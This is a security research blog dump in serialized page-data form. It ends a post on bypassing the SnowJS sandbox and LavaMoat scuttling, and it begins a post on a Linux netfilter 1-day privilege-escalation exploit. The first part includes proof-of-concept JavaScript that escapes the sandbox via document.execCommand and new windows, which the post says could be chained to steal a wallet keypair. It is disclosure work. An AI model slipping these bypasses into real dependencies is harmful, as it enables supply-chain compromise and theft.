window.open('/non_existent');\nw.alert(document.domain)\n",[50791],{"type":24,"tag":154,"props":50792,"children":50793},{"__ignoreMap":7},[50794,50836],{"type":24,"tag":158,"props":50795,"children":50796},{"class":160,"line":161},[50797,50801,50806,50810,50814,50818,50823,50827,50832],{"type":24,"tag":158,"props":50798,"children":50799},{"style":165},[50800],{"type":29,"value":443},{"type":24,"tag":158,"props":50802,"children":50803},{"style":177},[50804],{"type":29,"value":50805}," w",{"type":24,"tag":158,"props":50807,"children":50808},{"style":222},[50809],{"type":29,"value":462},{"type":24,"tag":158,"props":50811,"children":50812},{"style":177},[50813],{"type":29,"value":32669},{"type":24,"tag":158,"props":50815,"children":50816},{"style":188},[50817],{"type":29,"value":347},{"type":24,"tag":158,"props":50819,"children":50820},{"style":496},[50821],{"type":29,"value":50822},"open",{"type":24,"tag":158,"props":50824,"children":50825},{"style":188},[50826],{"type":29,"value":504},{"type":24,"tag":158,"props":50828,"children":50829},{"style":1108},[50830],{"type":29,"value":50831},"'/non_existent'",{"type":24,"tag":158,"props":50833,"children":50834},{"style":188},[50835],{"type":29,"value":1071},{"type":24,"tag":158,"props":50837,"children":50838},{"class":160,"line":213},[50839,50844,50848,50852,50856,50860,50864,50868],{"type":24,"tag":158,"props":50840,"children":50841},{"style":177},[50842],{"type":29,"value":50843},"w",{"type":24,"tag":158,"props":50845,"children":50846},{"style":188},[50847],{"type":29,"value":347},{"type":24,"tag":158,"props":50849,"children":50850},{"style":496},[50851],{"type":29,"value":33959},{"type":24,"tag":158,"props":50853,"children":50854},{"style":188},[50855],{"type":29,"value":504},{"type":24,"tag":158,"props":50857,"children":50858},{"style":177},[50859],{"type":29,"value":33969},{"type":24,"tag":158,"props":50861,"children":50862},{"style":188},[50863],{"type":29,"value":347},{"type":24,"tag":158,"props":50865,"children":50866},{"style":177},[50867],{"type":29,"value":33979},{"type":24,"tag":158,"props":50869,"children":50870},{"style":188},[50871],{"type":29,"value":2125},{"type":24,"tag":25,"props":50873,"children":50874},{},[50875,50877,50882],{"type":29,"value":50876},"This opens a new window with a new JS Realm (another ",{"type":24,"tag":154,"props":50878,"children":50880},{"className":50879},[],[50881],{"type":29,"value":38681},{"type":29,"value":50883}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":24,"tag":25,"props":50885,"children":50886},{},[50887,50889,50896],{"type":29,"value":50888},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":24,"tag":101,"props":50890,"children":50893},{"href":50891,"rel":50892},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[105],[50894],{"type":29,"value":50895},"Metamask implementation",{"type":29,"value":521},{"type":24,"tag":395,"props":50898,"children":50900},{"id":50899},"snowjs-attack-surface",[50901],{"type":29,"value":50902},"SnowJS Attack Surface",{"type":24,"tag":25,"props":50904,"children":50905},{},[50906],{"type":29,"value":50907},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":24,"tag":25,"props":50909,"children":50910},{},[50911,50913,50920],{"type":29,"value":50912},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":24,"tag":101,"props":50914,"children":50917},{"href":50915,"rel":50916},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[105],[50918],{"type":29,"value":50919},"hooked inserters",{"type":29,"value":50921}," functions:",{"type":24,"tag":147,"props":50923,"children":50925},{"className":32624,"code":50924,"language":32626,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[50926],{"type":24,"tag":154,"props":50927,"children":50928},{"__ignoreMap":7},[50929,50949,50970,51009,51063,51102,51201,51221,51242],{"type":24,"tag":158,"props":50930,"children":50931},{"class":160,"line":161},[50932,50936,50941,50945],{"type":24,"tag":158,"props":50933,"children":50934},{"style":165},[50935],{"type":29,"value":443},{"type":24,"tag":158,"props":50937,"children":50938},{"style":177},[50939],{"type":29,"value":50940}," map",{"type":24,"tag":158,"props":50942,"children":50943},{"style":222},[50944],{"type":29,"value":462},{"type":24,"tag":158,"props":50946,"children":50947},{"style":188},[50948],{"type":29,"value":210},{"type":24,"tag":158,"props":50950,"children":50951},{"class":160,"line":213},[50952,50957,50961,50966],{"type":24,"tag":158,"props":50953,"children":50954},{"style":177},[50955],{"type":29,"value":50956}," Range:",{"type":24,"tag":158,"props":50958,"children":50959},{"style":188},[50960],{"type":29,"value":24277},{"type":24,"tag":158,"props":50962,"children":50963},{"style":1108},[50964],{"type":29,"value":50965},"'insertNode'",{"type":24,"tag":158,"props":50967,"children":50968},{"style":188},[50969],{"type":29,"value":15497},{"type":24,"tag":158,"props":50971,"children":50972},{"class":160,"line":238},[50973,50978,50982,50987,50991,50996,51000,51005],{"type":24,"tag":158,"props":50974,"children":50975},{"style":177},[50976],{"type":29,"value":50977}," DocumentFragment:",{"type":24,"tag":158,"props":50979,"children":50980},{"style":188},[50981],{"type":29,"value":24277},{"type":24,"tag":158,"props":50983,"children":50984},{"style":1108},[50985],{"type":29,"value":50986},"'replaceChildren'",{"type":24,"tag":158,"props":50988,"children":50989},{"style":188},[50990],{"type":29,"value":191},{"type":24,"tag":158,"props":50992,"children":50993},{"style":1108},[50994],{"type":29,"value":50995},"'append'",{"type":24,"tag":158,"props":50997,"children":50998},{"style":188},[50999],{"type":29,"value":191},{"type":24,"tag":158,"props":51001,"children":51002},{"style":1108},[51003],{"type":29,"value":51004},"'prepend'",{"type":24,"tag":158,"props":51006,"children":51007},{"style":188},[51008],{"type":29,"value":15497},{"type":24,"tag":158,"props":51010,"children":51011},{"class":160,"line":259},[51012,51017,51021,51025,51029,51033,51037,51041,51045,51050,51054,51059],{"type":24,"tag":158,"props":51013,"children":51014},{"style":177},[51015],{"type":29,"value":51016}," Document:",{"type":24,"tag":158,"props":51018,"children":51019},{"style":188},[51020],{"type":29,"value":24277},{"type":24,"tag":158,"props":51022,"children":51023},{"style":1108},[51024],{"type":29,"value":50986},{"type":24,"tag":158,"props":51026,"children":51027},{"style":188},[51028],{"type":29,"value":191},{"type":24,"tag":158,"props":51030,"children":51031},{"style":1108},[51032],{"type":29,"value":50995},{"type":24,"tag":158,"props":51034,"children":51035},{"style":188},[51036],{"type":29,"value":191},{"type":24,"tag":158,"props":51038,"children":51039},{"style":1108},[51040],{"type":29,"value":51004},{"type":24,"tag":158,"props":51042,"children":51043},{"style":188},[51044],{"type":29,"value":191},{"type":24,"tag":158,"props":51046,"children":51047},{"style":1108},[51048],{"type":29,"value":51049},"'write'",{"type":24,"tag":158,"props":51051,"children":51052},{"style":188},[51053],{"type":29,"value":191},{"type":24,"tag":158,"props":51055,"children":51056},{"style":1108},[51057],{"type":29,"value":51058},"'writeln'",{"type":24,"tag":158,"props":51060,"children":51061},{"style":188},[51062],{"type":29,"value":15497},{"type":24,"tag":158,"props":51064,"children":51065},{"class":160,"line":280},[51066,51071,51075,51080,51084,51089,51093,51098],{"type":24,"tag":158,"props":51067,"children":51068},{"style":177},[51069],{"type":29,"value":51070}," Node:",{"type":24,"tag":158,"props":51072,"children":51073},{"style":188},[51074],{"type":29,"value":24277},{"type":24,"tag":158,"props":51076,"children":51077},{"style":1108},[51078],{"type":29,"value":51079},"'appendChild'",{"type":24,"tag":158,"props":51081,"children":51082},{"style":188},[51083],{"type":29,"value":191},{"type":24,"tag":158,"props":51085,"children":51086},{"style":1108},[51087],{"type":29,"value":51088},"'insertBefore'",{"type":24,"tag":158,"props":51090,"children":51091},{"style":188},[51092],{"type":29,"value":191},{"type":24,"tag":158,"props":51094,"children":51095},{"style":1108},[51096],{"type":29,"value":51097},"'replaceChild'",{"type":24,"tag":158,"props":51099,"children":51100},{"style":188},[51101],{"type":29,"value":15497},{"type":24,"tag":158,"props":51103,"children":51104},{"class":160,"line":301},[51105,51110,51114,51119,51123,51128,51132,51137,51141,51146,51150,51155,51159,51163,51167,51172,51176,51180,51184,51189,51193,51197],{"type":24,"tag":158,"props":51106,"children":51107},{"style":177},[51108],{"type":29,"value":51109}," Element:",{"type":24,"tag":158,"props":51111,"children":51112},{"style":188},[51113],{"type":29,"value":24277},{"type":24,"tag":158,"props":51115,"children":51116},{"style":1108},[51117],{"type":29,"value":51118},"'innerHTML'",{"type":24,"tag":158,"props":51120,"children":51121},{"style":188},[51122],{"type":29,"value":191},{"type":24,"tag":158,"props":51124,"children":51125},{"style":1108},[51126],{"type":29,"value":51127},"'outerHTML'",{"type":24,"tag":158,"props":51129,"children":51130},{"style":188},[51131],{"type":29,"value":191},{"type":24,"tag":158,"props":51133,"children":51134},{"style":1108},[51135],{"type":29,"value":51136},"'insertAdjacentHTML'",{"type":24,"tag":158,"props":51138,"children":51139},{"style":188},[51140],{"type":29,"value":191},{"type":24,"tag":158,"props":51142,"children":51143},{"style":1108},[51144],{"type":29,"value":51145},"'replaceWith'",{"type":24,"tag":158,"props":51147,"children":51148},{"style":188},[51149],{"type":29,"value":191},{"type":24,"tag":158,"props":51151,"children":51152},{"style":1108},[51153],{"type":29,"value":51154},"'insertAdjacentElement'",{"type":24,"tag":158,"props":51156,"children":51157},{"style":188},[51158],{"type":29,"value":191},{"type":24,"tag":158,"props":51160,"children":51161},{"style":1108},[51162],{"type":29,"value":50995},{"type":24,"tag":158,"props":51164,"children":51165},{"style":188},[51166],{"type":29,"value":191},{"type":24,"tag":158,"props":51168,"children":51169},{"style":1108},[51170],{"type":29,"value":51171},"'before'",{"type":24,"tag":158,"props":51173,"children":51174},{"style":188},[51175],{"type":29,"value":191},{"type":24,"tag":158,"props":51177,"children":51178},{"style":1108},[51179],{"type":29,"value":51004},{"type":24,"tag":158,"props":51181,"children":51182},{"style":188},[51183],{"type":29,"value":191},{"type":24,"tag":158,"props":51185,"children":51186},{"style":1108},[51187],{"type":29,"value":51188},"'after'",{"type":24,"tag":158,"props":51190,"children":51191},{"style":188},[51192],{"type":29,"value":191},{"type":24,"tag":158,"props":51194,"children":51195},{"style":1108},[51196],{"type":29,"value":50986},{"type":24,"tag":158,"props":51198,"children":51199},{"style":188},[51200],{"type":29,"value":15497},{"type":24,"tag":158,"props":51202,"children":51203},{"class":160,"line":626},[51204,51209,51213,51217],{"type":24,"tag":158,"props":51205,"children":51206},{"style":177},[51207],{"type":29,"value":51208}," ShadowRoot:",{"type":24,"tag":158,"props":51210,"children":51211},{"style":188},[51212],{"type":29,"value":24277},{"type":24,"tag":158,"props":51214,"children":51215},{"style":1108},[51216],{"type":29,"value":51118},{"type":24,"tag":158,"props":51218,"children":51219},{"style":188},[51220],{"type":29,"value":15497},{"type":24,"tag":158,"props":51222,"children":51223},{"class":160,"line":668},[51224,51229,51233,51238],{"type":24,"tag":158,"props":51225,"children":51226},{"style":177},[51227],{"type":29,"value":51228}," HTMLIFrameElement:",{"type":24,"tag":158,"props":51230,"children":51231},{"style":188},[51232],{"type":29,"value":24277},{"type":24,"tag":158,"props":51234,"children":51235},{"style":1108},[51236],{"type":29,"value":51237},"'srcdoc'",{"type":24,"tag":158,"props":51239,"children":51240},{"style":188},[51241],{"type":29,"value":15497},{"type":24,"tag":158,"props":51243,"children":51244},{"class":160,"line":676},[51245],{"type":24,"tag":158,"props":51246,"children":51247},{"style":188},[51248],{"type":29,"value":17814},{"type":24,"tag":25,"props":51250,"children":51251},{},[51252],{"type":29,"value":51253},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":24,"tag":25,"props":51255,"children":51256},{},[51257],{"type":29,"value":51258},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":24,"tag":395,"props":51260,"children":51262},{"id":51261},"bypassing-snowjs",[51263],{"type":29,"value":51264},"Bypassing SnowJS",{"type":24,"tag":25,"props":51266,"children":51267},{},[51268,51270,51281,51283,51289],{"type":29,"value":51269},"The deprecated ",{"type":24,"tag":101,"props":51271,"children":51274},{"href":51272,"rel":51273},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[105],[51275],{"type":24,"tag":154,"props":51276,"children":51278},{"className":51277},[],[51279],{"type":29,"value":51280},"document.execCommand",{"type":29,"value":51282}," function is used to execute commands inside a ",{"type":24,"tag":154,"props":51284,"children":51286},{"className":51285},[],[51287],{"type":29,"value":51288},"contenteditable",{"type":29,"value":51290}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":24,"tag":147,"props":51292,"children":51295},{"className":51293,"code":51294,"language":33644,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[51296],{"type":24,"tag":154,"props":51297,"children":51298},{"__ignoreMap":7},[51299],{"type":24,"tag":158,"props":51300,"children":51301},{"class":160,"line":161},[51302,51306,51310,51314,51318,51323,51328,51333,51338,51342],{"type":24,"tag":158,"props":51303,"children":51304},{"style":33637},[51305],{"type":29,"value":3760},{"type":24,"tag":158,"props":51307,"children":51308},{"style":165},[51309],{"type":29,"value":32607},{"type":24,"tag":158,"props":51311,"children":51312},{"style":177},[51313],{"type":29,"value":33717},{"type":24,"tag":158,"props":51315,"children":51316},{"style":188},[51317],{"type":29,"value":1285},{"type":24,"tag":158,"props":51319,"children":51320},{"style":1108},[51321],{"type":29,"value":51322},"test",{"type":24,"tag":158,"props":51324,"children":51325},{"style":177},[51326],{"type":29,"value":51327}," contenteditable",{"type":24,"tag":158,"props":51329,"children":51330},{"style":177},[51331],{"type":29,"value":51332}," autofocus",{"type":24,"tag":158,"props":51334,"children":51335},{"style":33637},[51336],{"type":29,"value":51337},">\u003C/",{"type":24,"tag":158,"props":51339,"children":51340},{"style":165},[51341],{"type":29,"value":32607},{"type":24,"tag":158,"props":51343,"children":51344},{"style":33637},[51345],{"type":29,"value":7642},{"type":24,"tag":25,"props":51347,"children":51348},{},[51349,51351,51357,51359,51364],{"type":29,"value":51350},"After inserting this element to a page, it is possible to use ",{"type":24,"tag":154,"props":51352,"children":51354},{"className":51353},[],[51355],{"type":29,"value":51356},"insertHTML",{"type":29,"value":51358}," command of ",{"type":24,"tag":154,"props":51360,"children":51362},{"className":51361},[],[51363],{"type":29,"value":51280},{"type":29,"value":51365}," to add a non-sandboxed iframe.",{"type":24,"tag":147,"props":51367,"children":51369},{"className":32624,"code":51368,"language":32626,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[51370],{"type":24,"tag":154,"props":51371,"children":51372},{"__ignoreMap":7},[51373],{"type":24,"tag":158,"props":51374,"children":51375},{"class":160,"line":161},[51376,51380,51384,51389,51393,51398,51402,51406,51410,51415],{"type":24,"tag":158,"props":51377,"children":51378},{"style":177},[51379],{"type":29,"value":33969},{"type":24,"tag":158,"props":51381,"children":51382},{"style":188},[51383],{"type":29,"value":347},{"type":24,"tag":158,"props":51385,"children":51386},{"style":496},[51387],{"type":29,"value":51388},"execCommand",{"type":24,"tag":158,"props":51390,"children":51391},{"style":188},[51392],{"type":29,"value":504},{"type":24,"tag":158,"props":51394,"children":51395},{"style":1108},[51396],{"type":29,"value":51397},"'insertHTML'",{"type":24,"tag":158,"props":51399,"children":51400},{"style":188},[51401],{"type":29,"value":191},{"type":24,"tag":158,"props":51403,"children":51404},{"style":165},[51405],{"type":29,"value":4404},{"type":24,"tag":158,"props":51407,"children":51408},{"style":188},[51409],{"type":29,"value":191},{"type":24,"tag":158,"props":51411,"children":51412},{"style":1108},[51413],{"type":29,"value":51414},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":24,"tag":158,"props":51416,"children":51417},{"style":188},[51418],{"type":29,"value":1071},{"type":24,"tag":395,"props":51420,"children":51422},{"id":51421},"impact-on-lavamoat-scuttling",[51423],{"type":29,"value":51424},"Impact On Lavamoat Scuttling",{"type":24,"tag":25,"props":51426,"children":51427},{},[51428],{"type":29,"value":51429},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":24,"tag":25,"props":51431,"children":51432},{},[51433,51435,51440,51442,51447],{"type":29,"value":51434},"For the exploit, the only used functions are in ",{"type":24,"tag":154,"props":51436,"children":51438},{"className":51437},[],[51439],{"type":29,"value":33969},{"type":29,"value":51441}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":24,"tag":154,"props":51443,"children":51445},{"className":51444},[],[51446],{"type":29,"value":38681},{"type":29,"value":51448}," object.",{"type":24,"tag":25,"props":51450,"children":51451},{},[51452,51454,51459],{"type":29,"value":51453},"Consider this example, which runs a scuttled ",{"type":24,"tag":154,"props":51455,"children":51457},{"className":51456},[],[51458],{"type":29,"value":33959},{"type":29,"value":26725},{"type":24,"tag":147,"props":51461,"children":51463},{"className":32624,"code":51462,"language":32626,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[51464],{"type":24,"tag":154,"props":51465,"children":51466},{"__ignoreMap":7},[51467,51503,51540,51583],{"type":24,"tag":158,"props":51468,"children":51469},{"class":160,"line":161},[51470,51474,51478,51482,51486,51490,51494,51499],{"type":24,"tag":158,"props":51471,"children":51472},{"style":177},[51473],{"type":29,"value":33969},{"type":24,"tag":158,"props":51475,"children":51476},{"style":188},[51477],{"type":29,"value":347},{"type":24,"tag":158,"props":51479,"children":51480},{"style":177},[51481],{"type":29,"value":33661},{"type":24,"tag":158,"props":51483,"children":51484},{"style":188},[51485],{"type":29,"value":347},{"type":24,"tag":158,"props":51487,"children":51488},{"style":177},[51489],{"type":29,"value":36235},{"type":24,"tag":158,"props":51491,"children":51492},{"style":222},[51493],{"type":29,"value":462},{"type":24,"tag":158,"props":51495,"children":51496},{"style":1108},[51497],{"type":29,"value":51498}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":24,"tag":158,"props":51500,"children":51501},{"style":188},[51502],{"type":29,"value":473},{"type":24,"tag":158,"props":51504,"children":51505},{"class":160,"line":213},[51506,51510,51514,51518,51522,51527,51531,51536],{"type":24,"tag":158,"props":51507,"children":51508},{"style":177},[51509],{"type":29,"value":33969},{"type":24,"tag":158,"props":51511,"children":51512},{"style":188},[51513],{"type":29,"value":347},{"type":24,"tag":158,"props":51515,"children":51516},{"style":496},[51517],{"type":29,"value":36260},{"type":24,"tag":158,"props":51519,"children":51520},{"style":188},[51521],{"type":29,"value":504},{"type":24,"tag":158,"props":51523,"children":51524},{"style":1108},[51525],{"type":29,"value":51526},"'test'",{"type":24,"tag":158,"props":51528,"children":51529},{"style":188},[51530],{"type":29,"value":21986},{"type":24,"tag":158,"props":51532,"children":51533},{"style":496},[51534],{"type":29,"value":51535},"focus",{"type":24,"tag":158,"props":51537,"children":51538},{"style":188},[51539],{"type":29,"value":5329},{"type":24,"tag":158,"props":51541,"children":51542},{"class":160,"line":238},[51543,51547,51551,51555,51559,51563,51567,51571,51575,51579],{"type":24,"tag":158,"props":51544,"children":51545},{"style":177},[51546],{"type":29,"value":33969},{"type":24,"tag":158,"props":51548,"children":51549},{"style":188},[51550],{"type":29,"value":347},{"type":24,"tag":158,"props":51552,"children":51553},{"style":496},[51554],{"type":29,"value":51388},{"type":24,"tag":158,"props":51556,"children":51557},{"style":188},[51558],{"type":29,"value":504},{"type":24,"tag":158,"props":51560,"children":51561},{"style":1108},[51562],{"type":29,"value":51397},{"type":24,"tag":158,"props":51564,"children":51565},{"style":188},[51566],{"type":29,"value":191},{"type":24,"tag":158,"props":51568,"children":51569},{"style":165},[51570],{"type":29,"value":4404},{"type":24,"tag":158,"props":51572,"children":51573},{"style":188},[51574],{"type":29,"value":191},{"type":24,"tag":158,"props":51576,"children":51577},{"style":1108},[51578],{"type":29,"value":51414},{"type":24,"tag":158,"props":51580,"children":51581},{"style":188},[51582],{"type":29,"value":1071},{"type":24,"tag":158,"props":51584,"children":51585},{"class":160,"line":259},[51586,51590,51594,51599,51603,51607,51612,51616,51621,51626,51630,51634,51638,51642,51646,51650],{"type":24,"tag":158,"props":51587,"children":51588},{"style":177},[51589],{"type":29,"value":33969},{"type":24,"tag":158,"props":51591,"children":51592},{"style":188},[51593],{"type":29,"value":347},{"type":24,"tag":158,"props":51595,"children":51596},{"style":496},[51597],{"type":29,"value":51598},"getElementsByTagName",{"type":24,"tag":158,"props":51600,"children":51601},{"style":188},[51602],{"type":29,"value":504},{"type":24,"tag":158,"props":51604,"children":51605},{"style":1108},[51606],{"type":29,"value":37994},{"type":24,"tag":158,"props":51608,"children":51609},{"style":188},[51610],{"type":29,"value":51611},")[",{"type":24,"tag":158,"props":51613,"children":51614},{"style":465},[51615],{"type":29,"value":5682},{"type":24,"tag":158,"props":51617,"children":51618},{"style":188},[51619],{"type":29,"value":51620},"].",{"type":24,"tag":158,"props":51622,"children":51623},{"style":177},[51624],{"type":29,"value":51625},"contentWindow",{"type":24,"tag":158,"props":51627,"children":51628},{"style":188},[51629],{"type":29,"value":347},{"type":24,"tag":158,"props":51631,"children":51632},{"style":496},[51633],{"type":29,"value":33959},{"type":24,"tag":158,"props":51635,"children":51636},{"style":188},[51637],{"type":29,"value":504},{"type":24,"tag":158,"props":51639,"children":51640},{"style":177},[51641],{"type":29,"value":33969},{"type":24,"tag":158,"props":51643,"children":51644},{"style":188},[51645],{"type":29,"value":347},{"type":24,"tag":158,"props":51647,"children":51648},{"style":177},[51649],{"type":29,"value":33979},{"type":24,"tag":158,"props":51651,"children":51652},{"style":188},[51653],{"type":29,"value":1071},{"type":24,"tag":395,"props":51655,"children":51657},{"id":51656},"snowjs-patch",[51658],{"type":29,"value":51659},"SnowJS Patch",{"type":24,"tag":25,"props":51661,"children":51662},{},[51663,51665,51672,51674,51681],{"type":29,"value":51664},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":24,"tag":101,"props":51666,"children":51669},{"href":51667,"rel":51668},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[105],[51670],{"type":29,"value":51671},"browser feature within W3C standards",{"type":29,"value":51673},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":24,"tag":101,"props":51675,"children":51678},{"href":51676,"rel":51677},"https://github.com/weizman/Realms-Initialization-Control",[105],[51679],{"type":29,"value":51680},"Here",{"type":29,"value":51682}," is their new proposal.",{"type":24,"tag":59,"props":51684,"children":51686},{"id":51685},"chaining-the-impacts",[51687],{"type":29,"value":51688},"Chaining The Impacts",{"type":24,"tag":25,"props":51690,"children":51691},{},[51692],{"type":29,"value":51693},"We were able to find two vulnerabilities in lavamoat project:",{"type":24,"tag":1786,"props":51695,"children":51696},{},[51697,51702],{"type":24,"tag":1790,"props":51698,"children":51699},{},[51700],{"type":29,"value":51701},"Policy File Bypass",{"type":24,"tag":1790,"props":51703,"children":51704},{},[51705],{"type":29,"value":51706},"Scuttling Bypass",{"type":24,"tag":25,"props":51708,"children":51709},{},[51710],{"type":29,"value":51711},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":24,"tag":25,"props":51713,"children":51714},{},[51715],{"type":29,"value":51716},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":24,"tag":59,"props":51718,"children":51719},{"id":30191},[51720],{"type":29,"value":20189},{"type":24,"tag":25,"props":51722,"children":51723},{},[51724],{"type":29,"value":51725},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":24,"tag":32607,"props":51727,"children":51728},{"style":32609},[51729],{"type":24,"tag":84,"props":51730,"children":51733},{"src":51731,"alt":51732,"style":32615},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":24,"tag":19662,"props":51735,"children":51737},{"className":51736,"dataFootnotes":7},[19665],[51738,51743],{"type":24,"tag":59,"props":51739,"children":51741},{"className":51740,"id":16716},[19670],[51742],{"type":29,"value":19673},{"type":24,"tag":1786,"props":51744,"children":51745},{},[51746],{"type":24,"tag":1790,"props":51747,"children":51748},{"id":31626},[51749,51751,51758,51759],{"type":29,"value":51750},"Excluding SES, which was covered ",{"type":24,"tag":101,"props":51752,"children":51755},{"href":51753,"rel":51754},"https://osec.io/blog/2023-11-01-metamask-snaps",[105],[51756],{"type":29,"value":51757},"in our last article",{"type":29,"value":8106},{"type":24,"tag":101,"props":51760,"children":51762},{"href":31654,"ariaLabel":19776,"className":51761,"dataFootnoteBackref":7},[19778],[51763],{"type":29,"value":19781},{"type":24,"tag":4517,"props":51765,"children":51766},{},[51767],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":51769},[51770,51774,51780,51786,51787,51788],{"id":20198,"depth":213,"text":20201,"children":51771},[51772,51773],{"id":30274,"depth":238,"text":30277},{"id":48391,"depth":238,"text":48394},{"id":49147,"depth":213,"text":49150,"children":51775},[51776,51777,51778,51779],{"id":49398,"depth":238,"text":49401},{"id":49873,"depth":238,"text":49876},{"id":50530,"depth":238,"text":50533},{"id":50653,"depth":238,"text":50656},{"id":50771,"depth":213,"text":50774,"children":51781},[51782,51783,51784,51785],{"id":50899,"depth":238,"text":50902},{"id":51261,"depth":238,"text":51264},{"id":51421,"depth":238,"text":51424},{"id":51656,"depth":238,"text":51659},{"id":51685,"depth":213,"text":51688},{"id":30191,"depth":213,"text":20189},{"id":16716,"depth":213,"text":19673},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":51793,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":51794,"description":51795,"author":51796,"image":51797,"date":51799,"isFeatured":16,"tags":51800,"onBlogPage":16,"body":51803,"_type":4536,"_id":62184,"_source":4538,"_file":62185,"_stem":62186,"_extension":4541},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":51798,"height":13,"width":14},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[51801,51802],"kernal","linux",{"type":21,"children":51804,"toc":62152},[51805,51818,51832,51837,51843,51853,51858,51864,51869,51887,51901,51910,51943,51948,51954,51973,52006,52012,52025,52235,52302,52866,52885,53110,53169,53175,53195,53235,53423,53428,53579,53635,53640,54154,54173,54442,54468,54977,55044,55050,55086,55091,55357,55390,55402,55429,55441,55446,55452,55473,55479,55500,55523,56355,56361,56401,56941,56952,56986,57053,57107,57339,57345,57389,57853,57859,57870,57900,57983,57988,57993,58029,58081,58112,58667,58673,58690,58696,58701,58707,58735,58928,58948,58964,59559,59565,59600,59623,59635,59641,59669,60266,60291,61260,61271,61284,61297,62063,62077,62083,62095,62101,62129,62134,62138,62143,62148],{"type":24,"tag":25,"props":51806,"children":51807},{},[51808,51810,51817],{"type":29,"value":51809},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":24,"tag":101,"props":51811,"children":51814},{"href":51812,"rel":51813},"https://google.github.io/security-research/kernelctf/rules.html",[105],[51815],{"type":29,"value":51816},"KernelCTF VRP",{"type":29,"value":347},{"type":24,"tag":25,"props":51819,"children":51820},{},[51821,51823,51830],{"type":29,"value":51822},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":24,"tag":101,"props":51824,"children":51827},{"href":51825,"rel":51826},"https://github.com/conlonialC",[105],[51828],{"type":29,"value":51829},"lonial con",{"type":29,"value":51831},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":24,"tag":25,"props":51833,"children":51834},{},[51835],{"type":29,"value":51836},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":24,"tag":59,"props":51838,"children":51840},{"id":51839},"the-kernel",[51841],{"type":29,"value":51842},"The kernel",{"type":24,"tag":25,"props":51844,"children":51845},{},[51846,51848],{"type":29,"value":51847},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, 